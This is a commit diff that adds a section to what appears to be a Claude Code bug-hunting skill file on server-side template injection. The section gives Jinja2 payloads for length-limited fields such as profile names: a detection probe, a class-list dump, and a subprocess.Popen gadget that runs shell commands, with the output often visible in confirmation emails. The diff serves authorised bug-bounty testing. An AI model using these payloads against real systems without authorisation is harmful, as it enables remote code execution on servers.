Skip to content

A Claude Code skill bundle for bug hunting and external red-team work - 82 skills, 15 slash commands, 681 disclosed-report patterns curated across 24 core vulnerability classes, plus enterprise identity + infrastructure attack matrices.

feat(hunt-ssti): compact payloads for length-constrained fields (#72)

Sachin Sharmaf911fc810102
diff --git a/skills/hunt-ssti/SKILL.md b/skills/hunt-ssti/SKILL.md
index 383d336..306a063 100644
--- a/skills/hunt-ssti/SKILL.md
+++ b/skills/hunt-ssti/SKILL.md
@@ -58,6 +58,15 @@ ${7*7} → 49 = Freemarker / Velocity / Mako (all use ${...})
<%= `id` %>
```
+### Length-constrained injection fields (profile name, display name, subject)
+When the injectable field caps input length (a profile-name / display-name field is often ≤30-64 chars), the full `os.popen` one-liner won't fit — but detection and class-enumeration still do. Confirm with the short probe, then enumerate the gadget index in stages instead of one payload:
+```python
+{{ '7'*7 }} # detection, fits anywhere
+{{ [].__class__.__base__.__subclasses__() }} # dump class list, pick the index for subprocess.Popen/os
+{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate() }}
+```
+The reflected sink is frequently an **outbound email** (the account-update / confirmation mail rendering your name), not the web page — read the email body for the evaluated output. Disclosed: reports/125980 (profile-name → Jinja2 → confirmation email, length-limited).
+
### Where to Test
```
Name/bio/description fields, email templates, invoice name, PDF generators,